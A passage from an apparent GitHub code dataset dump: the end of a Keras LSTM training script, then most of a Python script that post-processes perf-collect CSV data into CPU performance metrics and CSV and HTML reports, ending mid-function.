fig = plt.figure(facecolor='white')\n ax = fig.add_subplot(111)\n ax.plot(true_data, label='True Data')\n #Pad the list of predictions to shift it in the graph to it's correct start\n for i, data in enumerate(predicted_data):\n padding = [None for p in range(i * prediction_len)]\n plt.plot(padding + data, label='Prediction')\n plt.legend()\n plt.show()\n\nif __name__=='__main__':\n global_start_time = time.time()\n seq_len = 100\n\n X_train, y_train, X_test, y_test = lstm.load_data('small_data.csv', seq_len, True)\n# 训练模型\n filepath = \"model.h5\"\n checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=True, mode='min')\n callbacks_list = [checkpoint]\n\n model = lstm.build_model([1, 100, 200, 1])\n model.fit(X_train, y_train,batch_size=512,nb_epoch=1,validation_split=0.05, callbacks=callbacks_list)\n print(model.summary())\n# 加载模型\n# model = load_model(\"model.h5\")\n predictions = lstm.predict_sequences_multiple(model, X_test, seq_len, 100)\n\n print('duration (s) : ', time.time() - global_start_time)\n plot_results_multiple(predictions, y_test, 100)\n\n","repo_name":"oxff644/MarchineLearning","sub_path":"机器学习代码/11深度学习/LSTM/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"} +{"seq_id":"25690157182","text":"import json\nimport numpy as np\nimport logging\nimport os\nimport pandas as pd\nimport re\nimport sys\nfrom argparse import ArgumentParser\nfrom enum import Enum\nfrom simpleeval import simple_eval\nfrom src.common import crash\nfrom src import common\nfrom src import perf_helpers\n\n\nclass Mode(Enum):\n System = 1\n Socket = 2\n CPU = 3\n\n\n# get the filenames for miscellaneous outputs\ndef get_extra_out_file(out_file, t):\n dirname = os.path.dirname(out_file)\n filename = os.path.basename(out_file)\n t_file = \"\"\n if t == \"a\":\n text = \"sys.average\"\n elif t == \"r\":\n text = \"sys.raw\"\n elif t == \"s\":\n text = \"socket\"\n elif t == \"sa\":\n text = \"socket.average\"\n elif t == \"sr\":\n text = \"socket.raw\"\n elif t == \"c\":\n text = \"cpu\"\n elif t == \"ca\":\n text = \"cpu.average\"\n elif t == \"cr\":\n text = \"cpu.raw\"\n elif t == \"m\":\n text = \"sys\"\n\n parts = os.path.splitext(filename)\n if len(parts) == 1:\n t_file = text + \".\" + filename\n else:\n t_file = parts[-2] + \".\" + text + \".csv\"\n return os.path.join(dirname, t_file)\n\n\ndef get_args(script_path):\n parser = ArgumentParser(description=\"perf-postprocess: perf post process\")\n required_arg = parser.add_argument_group(\"required arguments\")\n required_arg.add_argument(\n \"-r\",\n \"--rawfile\",\n type=str,\n default=\"perfstat.csv\",\n help=\"Raw CSV output from perf-collect, default=perfstat.csv\",\n )\n parser.add_argument(\n \"--version\", \"-V\", help=\"display version information\", action=\"store_true\"\n )\n parser.add_argument(\n \"-o\",\n \"--outfile\",\n type=str,\n default=script_path + \"/metric_out.csv\",\n help=\"perf stat outputs in csv format, default=metric_out.csv\",\n )\n parser.add_argument(\n \"-v\",\n \"--verbose\",\n help=\"include debugging information, keeps all intermediate csv files\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-f\",\n \"--fail-postprocessing\",\n help=\"gives exit code 1 when postprocessing detects missing event or zero division errors\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--rawevents\", help=\"save raw events in .csv format\", action=\"store_true\"\n )\n parser.add_argument(\n \"--pertxn\",\n type=int,\n help=\"Generate per-transaction metrics using the provided transactions/sec.\",\n )\n\n args = parser.parse_args()\n\n # if args.version, print version then exit\n if args.version:\n print(perf_helpers.get_tool_version())\n sys.exit()\n\n # check number of transactions > 1\n if args.pertxn is not None:\n if args.pertxn < 1:\n crash(\"Number of transactions cannot be < 1\" % args.outfile)\n else:\n args.outfile = args.outfile.replace(\".csv\", \"_txn.csv\")\n\n # check rawfile argument is given\n if args.rawfile is None:\n crash(\"Missing raw file, please provide raw csv generated using perf-collect\")\n\n # check rawfile argument exists\n if args.rawfile and not os.path.isfile(args.rawfile):\n crash(\"perf raw data file not found, please provide valid raw file\")\n\n # check output file is writable\n if not perf_helpers.check_file_writeable(args.outfile):\n crash(\"Output file %s not writeable \" % args.outfile)\n\n return args\n\n\n# fix c6-residency data lines\n# for system: multiply value by number of HyperThreads\n# for socket or cpu: add rows for each 2nd HyperThread with same values as 1st CPU\ndef get_fixed_c6_residency_fields(perf_data_lines, perf_mode):\n # handle special case events: c6-residency\n # if hyperthreading is disabled, no fixing is required\n if meta_data[\"constants\"][\"HYPERTHREADING_ON\"] == 0:\n return perf_data_lines\n\n new_perf_data_lines = []\n if meta_data[\"constants\"][\"CONST_THREAD_COUNT\"] == 2:\n for fields in perf_data_lines:\n if perf_mode == Mode.System and fields[3] == \"cstate_core/c6-residency/\":\n # since \"cstate_core/c6-residency/\" is collected for only one cpu per core\n # we double the value for the system wide collection (assign same value to the 2nd cpu)\n try:\n fields[1] = int(fields[1]) * 2 # fields[1] -> event value\n except ValueError:\n # value can be <not supported> or <not counted>\n logging.warning(\n \"Failed to convert cstate_core/c6-residency/ metric value: \"\n + str(fields[1])\n + \" to integer. Skipping\"\n )\n pass\n new_perf_data_lines.append(fields)\n elif fields[4] == \"cstate_core/c6-residency/\":\n new_fields = fields.copy()\n cpuID = int(fields[1].replace(\"CPU\", \"\"))\n HT_cpuID = cpuID + int(\n meta_data[\"constants\"][\"CONST_THREAD_COUNT\"]\n * meta_data[\"constants\"][\"CORES_PER_SOCKET\"]\n )\n new_fields[1] = \"CPU\" + str(HT_cpuID)\n new_perf_data_lines.append(fields)\n new_perf_data_lines.append(new_fields)\n else:\n new_perf_data_lines.append(fields)\n return new_perf_data_lines\n\n\n# get metadata lines and perf events' lines in three separate lists\ndef get_all_data_lines(input_file_path):\n with open(input_file_path, \"r\") as infile:\n lines = infile.readlines()\n\n # input file has three headers:\n # 1- ### META DATA ###,\n # 2- ### PERF EVENTS ###,\n # 3- ### PERF DATA ###,\n\n meta_data_lines = []\n perf_events_lines = []\n perf_data_lines = []\n\n meta_data_started = False\n perf_events_started = False\n perf_data_started = False\n for idx, line in enumerate(lines):\n if line.strip() == \"\": # skip empty lines\n continue\n\n # check first line is META Data header\n elif (idx == 0) and (\"### META DATA ###\" not in line):\n crash(\n \"The perf raw file doesn't contain metadata, please re-collect perf raw data\"\n )\n elif \"### META DATA ###\" in line:\n meta_data_started = True\n perf_events_started = False\n perf_data_started = False\n\n elif \"### PERF EVENTS ###\" in line:\n meta_data_started = False\n perf_events_started = True\n perf_data_started = False\n\n elif \"### PERF DATA ###\" in line:\n meta_data_started = False\n perf_events_started = False\n perf_data_started = True\n\n elif meta_data_started:\n meta_data_lines.append(line.strip())\n\n elif perf_events_started:\n perf_events_lines.append(line.strip())\n\n elif perf_data_started:\n if line.startswith(\"# started on\"):\n # this line is special, it is under \"PERF DATA\" (printed by perf), but it is treatesd as metadata\n meta_data_lines.append(line.strip())\n else:\n fields = line.split(\",\")\n perf_data_lines.append(fields)\n\n if len(perf_data_lines) == 0:\n crash(\n \"perfstat.csv contains no perf event data, try collecting for a longer time\"\n )\n return meta_data_lines, perf_events_lines, perf_data_lines\n\n\n# get_metadata\ndef get_metadata_as_dict(meta_data_lines, txns=None):\n meta_data = {}\n meta_data[\"constants\"] = {}\n meta_data[\"metadata\"] = {}\n if txns is not None:\n meta_data[\"constants\"][\"TXN\"] = txns\n\n for line in meta_data_lines:\n if line.startswith(\"SYSTEM_TSC_FREQ\"):\n meta_data[\"constants\"][\"SYSTEM_TSC_FREQ\"] = (\n float(line.split(\",\")[1]) * 1000000\n )\n elif line.startswith(\"CORES_PER_SOCKET\"):\n meta_data[\"constants\"][\"CORES_PER_SOCKET\"] = int(line.split(\",\")[1])\n elif line.startswith(\"HYPERTHREADING_ON\"):\n meta_data[\"constants\"][\"HYPERTHREADING_ON\"] = int(\n line.split(\",\")[1] == \"True\"\n )\n meta_data[\"constants\"][\"CONST_THREAD_COUNT\"] = (\n int(line.split(\",\")[1] == \"True\") + 1\n )\n elif line.startswith(\"SOCKET_COUNT\"):\n meta_data[\"constants\"][\"SOCKET_COUNT\"] = int(line.split(\",\")[1])\n elif line.startswith(\"CHAS_PER_SOCKET\") or line.startswith(\"CBOX\"):\n meta_data[\"constants\"][\"CHAS_PER_SOCKET\"] = int(line.split(\",\")[1])\n elif line.startswith(\"Architecture\"):\n meta_data[\"constants\"][\"CONST_ARCH\"] = str(line.split(\",\")[1])\n\n elif line.startswith(\"Event grouping\"):\n meta_data[\"EVENT_GROUPING\"] = (\n True if (str(line.split(\",\")[1]) == \"enabled\") else False\n )\n elif line.startswith(\"cgroups\"):\n if line.startswith(\"cgroups=disabled\"):\n meta_data[\"CGROUPS\"] = \"disabled\"\n continue\n # Get cgroup status and cgroup_id to container_name mapping\n meta_data[\"CGROUPS\"] = \"enabled\"\n meta_data[\"CGROUP_HASH\"] = dict(\n item.split(\"=\")\n for item in line.split(\"cgroups=enabled,\")[1].rstrip(\",\\n\").split(\",\")\n )\n docker_HASH = []\n docker_HASH = list(meta_data[\"CGROUP_HASH\"].values())\n elif (\n line.startswith(\"cpusets\")\n and \"CGROUPS\" in meta_data\n and meta_data[\"CGROUPS\"] == \"enabled\"\n ):\n line = line.replace(\"cpusets,\", \"\")\n docker_SETS = []\n docker_SETS = line.split(\",\")\n docker_SETS = docker_SETS[:-1]\n # here length of docker_HASH should be exactly len(docker_SETS)\n assert len(docker_HASH) == len(docker_SETS)\n meta_data[\"CPUSETS\"] = {}\n for i, docker_SET in enumerate(docker_SETS):\n if \"-\" in docker_SET: # range of cpus\n num_of_cpus = (\n int(docker_SET.split(\"-\")[1])\n - int(docker_SET.split(\"-\")[0])\n + 1\n )\n else: # either one cpu, or a list of cpus separated by + sign\n num_of_cpus = len(docker_SET.split(\"+\"))\n meta_data[\"CPUSETS\"][docker_HASH[i]] = num_of_cpus\n\n elif line.startswith(\"Percpu mode\"):\n meta_data[\"PERCPU_MODE\"] = (\n True if (str(line.split(\",\")[1]) == \"enabled\") else False\n )\n\n elif line.startswith(\"Persocket mode\"):\n meta_data[\"PERSOCKET_MODE\"] = (\n True if (str(line.split(\",\")[1]) == \"enabled\") else False\n )\n\n elif line.startswith(\"# started on\"):\n meta_data[\"TIME_ZONE\"] = str(line.split(\"# started on\")[1])\n\n elif line.startswith(\"Socket\"):\n if \"SOCKET_CORES\" not in meta_data:\n meta_data[\"SOCKET_CORES\"] = []\n CPUs = ((line.split(\"\\n\")[0]).split(\",\")[1]).split(\";\")[:-1]\n meta_data[\"SOCKET_CORES\"].append(CPUs)\n elif line.startswith(\"PSI\"):\n meta_data[\"PSI\"] = json.loads(line.split(\"PSI,\")[1])\n\n for line in meta_data_lines:\n for info in [\n \"SYSTEM_TSC_FREQ (MHz)\",\n \"CORES_PER_SOCKET\",\n \"SOCKET_COUNT\",\n \"HYPERTHREADING_ON\",\n \"IMC count\",\n \"CHAS_PER_SOCKET\",\n \"UPI count\",\n \"Architecture\",\n \"Model\",\n \"kernel version\",\n \"PerfSpect version\",\n ]:\n if info in line:\n meta_data[\"metadata\"][info] = line.split(\",\", 1)[1]\n if meta_data[\"metadata\"][info][-1] == \",\":\n meta_data[\"metadata\"][info] = meta_data[\"metadata\"][info][:-1]\n\n return meta_data\n\n\ndef set_CONST_TSC(meta_data, perf_mode, num_cpus=0):\n if perf_mode == Mode.System:\n if meta_data[\"CGROUPS\"] == \"enabled\" and num_cpus > 0:\n meta_data[\"constants\"][\"TSC\"] = (\n meta_data[\"constants\"][\"SYSTEM_TSC_FREQ\"] * num_cpus\n )\n else:\n meta_data[\"constants\"][\"TSC\"] = (\n meta_data[\"constants\"][\"SYSTEM_TSC_FREQ\"]\n * meta_data[\"constants\"][\"CORES_PER_SOCKET\"]\n * meta_data[\"constants\"][\"CONST_THREAD_COUNT\"]\n * meta_data[\"constants\"][\"SOCKET_COUNT\"]\n )\n elif perf_mode == Mode.Socket:\n meta_data[\"constants\"][\"TSC\"] = (\n meta_data[\"constants\"][\"SYSTEM_TSC_FREQ\"]\n * meta_data[\"constants\"][\"CORES_PER_SOCKET\"]\n * meta_data[\"constants\"][\"CONST_THREAD_COUNT\"]\n )\n elif perf_mode == Mode.CPU:\n meta_data[\"constants\"][\"TSC\"] = meta_data[\"constants\"][\"SYSTEM_TSC_FREQ\"]\n return\n\n\ndef get_event_name(event_line):\n event_name = event_line\n if \"name=\" in event_name:\n matches = re.findall(r\"\\.*name=\\'(.*?)\\'.*\", event_name)\n assert len(matches) > 0\n event_name = matches[0]\n if event_name.endswith(\":c\"): # core event\n event_name = event_name.split(\":c\")[0]\n if event_name.endswith(\":u\"): # uncore event\n event_name = event_name.split(\":u\")[0]\n # clean up , or ;\n event_name = event_name.replace(\",\", \"\").replace(\";\", \"\")\n\n return event_name\n\n\ndef get_event_groups(event_lines):\n groups = {}\n group_indx = 0\n\n current_group = []\n for event in event_lines:\n if \";\" in event: # end of group\n current_group.append(get_event_name(event))\n groups[\"group_\" + str(group_indx)] = current_group\n group_indx += 1\n current_group = []\n else:\n current_group.append(get_event_name(event))\n return groups\n\n\ndef get_metric_file_name(microarchitecture):\n metric_file = \"\"\n if microarchitecture == \"broadwell\":\n metric_file = \"metric_bdx.json\"\n elif microarchitecture == \"skylake\" or microarchitecture == \"cascadelake\":\n metric_file = \"metric_skx_clx.json\"\n elif microarchitecture == \"icelake\":\n metric_file = \"metric_icx.json\"\n elif microarchitecture == \"sapphirerapids\" or microarchitecture == \"emeraldrapids\":\n metric_file = \"metric_spr_emr.json\"\n elif microarchitecture == \"sierraforest\":\n metric_file = \"metric_srf.json\"\n else:\n crash(\"Suitable metric file not found\")\n\n # Convert path of json file to relative path if being packaged by pyInstaller into a binary\n if getattr(sys, \"frozen\", False):\n basepath = getattr(sys, \"_MEIPASS\", os.path.dirname(os.path.abspath(__file__)))\n metric_file = os.path.join(basepath, metric_file)\n elif __file__:\n metric_file = script_path + \"/events/\" + metric_file\n else:\n crash(\"Unknown application type\")\n return metric_file\n\n\ndef validate_file(fname):\n if not os.access(fname, os.R_OK):\n crash(str(fname) + \" not accessible\")\n\n\ndef get_metrics_formula(architecture, txns=None):\n # get the metric file name based on architecture\n metric_file = get_metric_file_name(architecture)\n validate_file(metric_file)\n\n with open(metric_file, \"r\") as f_metric:\n try:\n metrics = json.load(f_metric)\n for metric in metrics:\n if txns is not None:\n if \"name-txn\" in metric:\n metric[\"name\"] = metric[\"name-txn\"]\n if \"expression-txn\" in metric:\n metric[\"expression\"] = metric[\"expression-txn\"]\n metric[\"events\"] = re.findall(r\"\\[(.*?)\\]\", metric[\"expression\"])\n return metrics\n except json.decoder.JSONDecodeError:\n crash(\"Invalid JSON, please provide a valid JSON as metrics file\")\n return\n\n\ndef get_socket_number(sockets_dict, CPU):\n CPU_index = CPU.replace(\"CPU\", \"\")\n for s in range(len(sockets_dict)):\n if CPU_index in sockets_dict[s]:\n return s\n return\n\n\ndef extract_dataframe(perf_data_lines, meta_data, perf_mode):\n logging.info(\"Formatting event data\")\n # parse event data into dataframe and set header names\n perf_data_df = pd.DataFrame(perf_data_lines)\n if \"CGROUPS\" in meta_data and meta_data[\"CGROUPS\"] == \"enabled\":\n # 1.001044566,6261968509,,L1D.REPLACEMENT,/system.slice/docker-826c1c9de0bde13b0c3de7c4d96b38710cfb67c2911f30622508905ece7e0a16.scope,6789274819,5.39,,\n assert len(perf_data_df.columns) >= 7\n columns = [\n \"ts\",\n \"value\",\n \"col0\",\n \"metric\",\n \"cgroup\",\n \"perf_group_id\",\n \"percentage\",\n ]\n # add dummy col names for remaining columns\n for col in range(7, len(perf_data_df.columns)):\n columns.append(\"col\" + str(col))\n perf_data_df.columns = columns\n elif perf_mode == Mode.System:\n # Ubuntu 16.04 returns 6 columns, later Ubuntu's and other OS's return 8 columns\n assert len(perf_data_df.columns) >= 6\n columns = [\"ts\", \"value\", \"col0\", \"metric\", \"perf_group_id\", \"percentage\"]\n # add dummy col names for remaining columns\n for col in range(6, len(perf_data_df.columns)):\n columns.append(\"col\" + str(col))\n perf_data_df.columns = columns\n elif perf_mode == Mode.CPU or perf_mode == Mode.Socket:\n assert len(perf_data_df.columns) >= 7\n columns = [\n \"ts\",\n \"cpu\",\n \"value\",\n \"col0\",\n \"metric\",\n \"perf_group_id\",\n \"percentage\",\n ]\n # add dummy col names for remaining columns\n for col in range(7, len(perf_data_df.columns)):\n columns.append(\"col\" + str(col))\n perf_data_df.columns = columns\n # Add socket column\n perf_data_df[\"socket\"] = perf_data_df.apply(\n lambda x: \"S\" + str(get_socket_number(meta_data[\"SOCKET_CORES\"], x[\"cpu\"])),\n axis=1,\n )\n\n # fix metric name X.1, X.2, etc -> just X\n perf_data_df[\"metric\"] = perf_data_df.apply(\n lambda x: \".\".join(x[\"metric\"].split(\".\")[:-1])\n if len(re.findall(r\"^[0-9]*$\", x[\"metric\"].split(\".\")[-1])) > 0\n else x[\"metric\"],\n axis=1,\n )\n\n # set data frame types\n perf_data_df[\"value\"] = pd.to_numeric(\n perf_data_df[\"value\"], errors=\"coerce\"\n ).fillna(0)\n\n return perf_data_df\n\n\n# get group data frame after grouping\ndef get_group_df_from_full_frame(\n time_slice_df, start_index, end_of_group_index, perf_mode\n):\n g_df = time_slice_df[start_index:end_of_group_index]\n if perf_mode == Mode.System:\n g_df = g_df[[\"metric\", \"value\"]].groupby(\"metric\")[\"value\"].sum().to_frame()\n elif perf_mode == Mode.Socket:\n if \"socket\" in g_df:\n g_df = (\n g_df[[\"metric\", \"socket\", \"value\"]]\n .groupby([\"metric\", \"socket\"])[\"value\"]\n .sum()\n .to_frame()\n )\n else:\n crash(\"No socket information found, exiting...\")\n elif perf_mode == Mode.CPU: # check dataframe has cpu column, otherwise raise error\n if \"cpu\" in g_df:\n g_df = (\n g_df[[\"metric\", \"cpu\", \"value\"]]\n .groupby([\"metric\", \"cpu\"])[\"value\"]\n .sum()\n .to_frame()\n )\n else:\n crash(\"No CPU information found, exiting...\")\n\n return g_df\n\n\ndef generate_metrics_time_series(time_series_df, perf_mode, out_file_path):\n time_series_df_T = time_series_df.T\n time_series_df_T.index.name = \"time\"\n metric_file_name = \"\"\n if perf_mode == Mode.System:\n metric_file_name = get_extra_out_file(out_file_path, \"m\")\n if perf_mode == Mode.Socket:\n metric_file_name = get_extra_out_file(out_file_path, \"s\")\n\n if perf_mode == Mode.CPU:\n metric_file_name = get_extra_out_file(out_file_path, \"c\")\n # generate metrics with time indexes\n time_series_df_T.to_csv(metric_file_name)\n return\n\n\ndef generate_metrics_averages(\n time_series_df: pd.DataFrame, perf_mode: Mode, out_file_path: str\n) -> None:\n average_metric_file_name = \"\"\n if perf_mode == Mode.System:\n average_metric_file_name = get_extra_out_file(out_file_path, \"a\")\n if perf_mode == Mode.Socket:\n average_metric_file_name = get_extra_out_file(out_file_path, \"sa\")\n if perf_mode == Mode.CPU:\n average_metric_file_name = get_extra_out_file(out_file_path, \"ca\")\n\n time_series_df.index.name = \"metrics\"\n avgcol = time_series_df.mean(numeric_only=True, axis=1).to_frame().reset_index()\n p95col = time_series_df.quantile(q=0.95, axis=1).to_frame().reset_index()\n mincol = time_series_df.min(axis=1).to_frame().reset_index()\n maxcol = time_series_df.max(axis=1).to_frame().reset_index()\n # define columns headers\n avgcol.columns = [\"metrics\", \"avg\"]\n p95col.columns = [\"metrics\", \"p95\"]\n mincol.columns = [\"metrics\", \"min\"]\n maxcol.columns = [\"metrics\", \"max\"]\n # merge columns\n time_series_df = time_series_df.merge(avgcol, on=\"metrics\", how=\"outer\")\n time_series_df = time_series_df.merge(p95col, on=\"metrics\", how=\"outer\")\n time_series_df = time_series_df.merge(mincol, on=\"metrics\", how=\"outer\")\n time_series_df = time_series_df.merge(maxcol, on=\"metrics\", how=\"outer\")\n\n time_series_df[[\"metrics\", \"avg\", \"p95\", \"min\", \"max\"]].to_csv(\n average_metric_file_name, index=False\n )\n return\n\n\ndef row(df, name):\n if name in df.index:\n timeseries = df.loc[[name]].to_dict(\"split\")\n timeseries[\"columns\"] = map(lambda x: round(float(x), 1), timeseries[\"columns\"])\n return json.dumps(list(zip(timeseries[\"columns\"], timeseries[\"data\"][0])))\n else:\n return \"[]\"\n\n\ndef write_html(time_series_df, perf_mode, out_file_path, meta_data, pertxn=None):\n html_file = \"base.html\"\n if getattr(sys, \"frozen\", False):\n basepath = getattr(sys, \"_MEIPASS\", os.path.dirname(os.path.abspath(__file__)))\n html_file = os.path.join(basepath, html_file)\n elif __file__:\n html_file = script_path + \"/src/\" + html_file\n else:\n crash(\"Unknown application type\")\n\n html = \"\"\n with open(html_file, \"r\", encoding=\"utf-8\") as f_html:\n html = f_html.read()\n\n # only show TMA if system-wide mode\n if perf_mode == Mode.System:\n html = html.replace(\"TRANSACTIONS\", str(pertxn is not None).lower())\n time_series_df.index.name = \"metrics\"\n for metric in [\n [\"CPUUTIL\", \"metric_CPU utilization %\"],\n [\"CPIDATA\", \"metric_CPI\"],\n [\"CPUFREQ\", \"metric_CPU operating frequency (in GHz)\"],\n [\"CPIDATA\", \"metric_CPI\"],\n [\"PKGPOWER\", \"metric_package power (watts)\"],\n [\"DRAMPOWER\", \"metric_DRAM power (watts)\"],\n [\"L1DATA\", \"metric_L1D MPI (includes data+rfo w/ prefetches)\"],\n [\"L2DATA\", \"metric_L2 MPI (includes code+data+rfo w/ prefetches)\"],\n [\"LLCDATA\", \"metric_LLC data read MPI (demand+prefetch)\"],\n [\"READDATA\", \"metric_memory bandwidth read (MB/sec)\"],\n [\"WRITEDATA\", \"metric_memory bandwidth write (MB/sec)\"],\n [\"TOTALDATA\", \"metric_memory bandwidth total (MB/sec)\"],\n [\"REMOTENUMA\", \"metric_NUMA %_Reads addressed to remote DRAM\"],\n ]:\n new_metric = metric[1]\n if pertxn is not None:\n if \"_CPI\" in new_metric:\n new_metric = new_metric.replace(\"_CPI\", \"_cycles per txn\")\n if \" MPI\" in new_metric:\n new_metric = new_metric.replace(\" MPI\", \" misses per txn\")\n html = html.replace(metric[0], row(time_series_df, new_metric))\n\n avg = time_series_df.mean(numeric_only=True, axis=1).to_frame()\n html = html.replace(\n \"ALLMETRICS\", json.dumps(avg.reset_index().to_dict(\"records\"))\n )\n html = html.replace(\"METADATA\", json.dumps(list(meta_data[\"metadata\"].items())))\n for number in [\n [\"FRONTEND\", \"metric_TMA_Frontend_Bound(%)\"],\n [\"BACKEND\", \"metric_TMA_Backend_Bound(%)\"],\n [\"COREDATA\", \"metric_TMA_..Core_Bound(%)\"],\n [\"MEMORY\", \"metric_TMA_..Memory_Bound(%)\"],\n [\"BADSPECULATION\", \"metric_TMA_Bad_Speculation(%)\"],\n [\"RETIRING\", \"metric_TMA_Retiring(%)\"],\n [\"PSI_CPU\", \"cpu stall %\"],\n [\"PSI_MEM\", \"memory stall %\"],\n [\"PSI_IO\", \"io stall %\"],\n ]:\n try:\n html = html.replace(number[0], str(avg.loc[number[1], 0]))\n except Exception:\n html = html.replace(number[0], \"0\")\n\n with open(\n os.path.splitext(out_file_path)[0] + \".html\", \"w\", encoding=\"utf-8\"\n ) as file:\n file.write(html)\n\n\ndef log_skip_metric(metric, instance, msg):\n logging.warning(\n msg\n + ': metric \"'\n + metric[\"name\"]\n + '\" expression \"'\n + metric[\"expression\"]\n + '\" values \"'\n + instance\n + '\"'\n )\n\n\n# group_start_end_index_dict is both an input and output argument\n# if empty, the start and end indexes for each geroup will be added\n# if not, the start and end indexes for each group will be read from it\ndef get_groups_to_dataframes(\n time_slice_df, group_to_event, group_start_end_index_dict, perf_mode\n):\n group_to_df = {}\n if len(group_start_end_index_dict) == 0:\n current_group_indx = 0\n group_name = \"group_\" + str(current_group_indx)\n event_list = group_to_event[group_name]\n start_index = 0\n end_index = 0\n for i in time_slice_df.index:\n row = time_slice_df.loc[i]\n if row[\"metric\"] in event_list:\n end_index += 1\n else:\n group_to_df[group_name] = get_group_df_from_full_frame(\n time_slice_df, start_index, end_index, perf_mode\n )\n group_start_end_index_dict[group_name] = (start_index, end_index)\n start_index = end_index\n current_group_indx += 1\n try:\n group_name = \"group_\" + str(current_group_indx)\n event_list = group_to_event[group_name]\n except KeyError:\n crash(\n \"could not find \"\n + str(row)\n + \" in event grouping: \"\n + str(group_to_event)\n )\n end_index += 1\n group_to_df[group_name] = get_group_df_from_full_frame(\n time_slice_df, start_index, time_slice_df.shape[0], perf_mode\n )\n group_start_end_index_dict[group_name] = (start_index, time_slice_df.shape[0])\n else:\n for group_name in group_start_end_index_dict:\n start_index = group_start_end_index_dict[group_name][0]\n end_index = group_start_end_index_dict[group_name][1]\n group_to_df[group_name] = get_group_df_from_full_frame(\n time_slice_df, start_index, end_index, perf_mode\n )\n return group_to_df\n\n\ndef substitute_constants(expression, constants):\n returned_expression = expression\n for constant in constants:\n returned_expression = returned_expression.replace(\n \"[\" + constant + \"]\", str(constants[constant])\n )\n return returned_expression\n\n\n# Find the best group to use to evalaute a set of events\n# The best group is the one that has the majority of the events\n# For example, to evaluate events [ev1, ev2, ev3, ev4]\n# If group 1 has [ev1,ev2] and group 2 has [ev1, ev2, ev3]\n# Then group 2 is better than group 1\ndef find_best_group(remaining_events, group_to_event):\n diff_size = sys.maxsize\n best_group = None\n for group, events in group_to_event.items():\n ds = len(set(remaining_events) - set(events))\n if ds < diff_size and ds < len(set(remaining_events)):\n diff_size = ds\n best_group = group\n if diff_size == 0:\n break\n return best_group\n\n\n# substitute the value of an event in the given expression\n# \"exp_to_evaluate\" is modified by the function and added to \"evaluated_expressions\"\n# detected errors are added to \"errors\"\n# in arguments: verbose, best_group, group_to_df, event,exp_to_evaluate,\n# out arguments: errors, evaluated_expressions,\ndef substitute_event_in_expression(\n verbose,\n best_group,\n group_to_df,\n event,\n exp_to_evaluate,\n errors,\n evaluated_expressions,\n):\n if best_group in group_to_df:\n g_df = group_to_df[best_group]\n event_df = g_df.loc[event]\n if event_df.shape == (1,): # system wide\n if \"sys\" not in evaluated_expressions:\n evaluated_expressions[\"sys\"] = exp_to_evaluate.replace(\n \"[\" + event + \"]\", str(event_df[0])\n )\n else:\n evaluated_expressions[\"sys\"] = evaluated_expressions[\"sys\"].replace(\n \"[\" + event + \"]\", str(event_df[0])\n )\n else:\n for index in event_df.index:\n value = event_df[\"value\"][index]\n if index not in evaluated_expressions:\n evaluated_expressions[index] = exp_to_evaluate\n evaluated_expressions[index] = evaluated_expressions[index].replace(\n \"[\" + event + \"]\",\n str(value),\n )\n else: # group was not counted\n if verbose and best_group not in errors[\"NOT COUNTED GROUPS\"]:\n errors[\"NOT COUNTED GROUPS\"].add(best_group)\n logging.warning(\"Event group:\" + best_group + \"Not counted\")\n return\n\n\n# evaluate the expression of a given metric\n# returns the metric name (and subname) and the evaluation result\n# detected errors will be appended to \"errors\"\ndef evaluate_metric_expression(\n expressions_to_evaluate, verbose, metric, instance, errors\n):\n if (\n \"[\" in expressions_to_evaluate[instance]\n or \"]\" in expressions_to_evaluate[instance]\n ):\n if verbose and metric[\"name\"] not in errors[\"MISSING DATA\"]:\n errors[\"MISSING DATA\"].add(metric[\"name\"])\n log_skip_metric(metric, expressions_to_evaluate[instance], \"MISSING DATA\")\n return None\n try:\n result = \"{:.8f}\".format(\n simple_eval(\n expressions_to_evaluate[instance],\n functions={\"min\": min, \"max\": max},\n )\n )\n except ZeroDivisionError:\n if verbose and metric[\"name\"] not in errors[\"ZERO DIVISION\"]:\n errors[\"ZERO DIVISION\"].add(metric[\"name\"])\n log_skip_metric(metric, expressions_to_evaluate[instance], \"ZERO DIVISION\")\n result = 0\n sub_txt = \"\" if instance == \"sys\" else \".\" + str(instance)\n return metric[\"name\"] + sub_txt, float(result)\n\n\n# evaluate all metrics from dataframes in group_to_df\n# for each metric, we find the best group to use to evaluate the metric's expression from\ndef evaluate_metrics(verbose, metrics, metadata, group_to_event, group_to_df, errors):\n metrics_results = {}\n best_groups_for_events = {}\n for metric in metrics:\n non_constant_events = []\n exp_to_evaluate = substitute_constants(\n metric[\"expression\"], metadata[\"constants\"]\n )\n for event in metric[\"events\"]:\n if event.upper() in metadata[\"constants\"]:\n exp_to_evaluate = substitute_constants(\n exp_to_evaluate,\n {event.upper(): metadata[\"constants\"][event.upper()]},\n )\n else:\n non_constant_events.append(event)\n\n remaining_events_to_find = list(non_constant_events)\n evaluated_expressions = {}\n passes = 0\n\n while len(remaining_events_to_find) > 0:\n if (\n passes == 1\n and verbose\n and metric[\"name\"] not in errors[\"MULTIPLE GROUPS\"]\n ):\n errors[\"MULTIPLE GROUPS\"].add(metric[\"name\"])\n logging.warning(\n f'MULTIPLE GROUPS: metric \"{metric[\"name\"]}\", events \"{set(non_constant_events)}\"'\n )\n passes += 1\n remaining_events_txt = str(remaining_events_to_find)\n if remaining_events_txt in best_groups_for_events:\n best_group = best_groups_for_events[remaining_events_txt]\n else:\n best_group = find_best_group(remaining_events_to_find, group_to_event)\n best_groups_for_events[remaining_events_txt] = best_group\n\n if best_group is None:\n break\n for event in remaining_events_to_find[:]:\n if event in group_to_event[best_group]:\n remaining_events_to_find.remove(event)\n substitute_event_in_expression(\n verbose,\n best_group,\n group_to_df,\n event,\n exp_to_evaluate,\n errors,\n evaluated_expressions,\n )\n\n if len(remaining_events_to_find) == 0:\n for instance in evaluated_expressions:\n metric_result = evaluate_metric_expression(\n evaluated_expressions, verbose, metric, instance, errors\n )\n if metric_result is not None:\n metrics_results[metric_result[0]] = metric_result[1]\n else:\n if verbose and metric[\"name\"] not in errors[\"MISSING EVENTS\"]:\n logging.warning(\n 'MISSING EVENTS: metric \"'\n + metric[\"name\"]\n + '\" events \"'\n + str(remaining_events_to_find)\n + '\"'\n )\n errors[\"MISSING EVENTS\"].add(metric[\"name\"])\n continue\n return metrics_results\n\n\ndef generate_metrics(\n 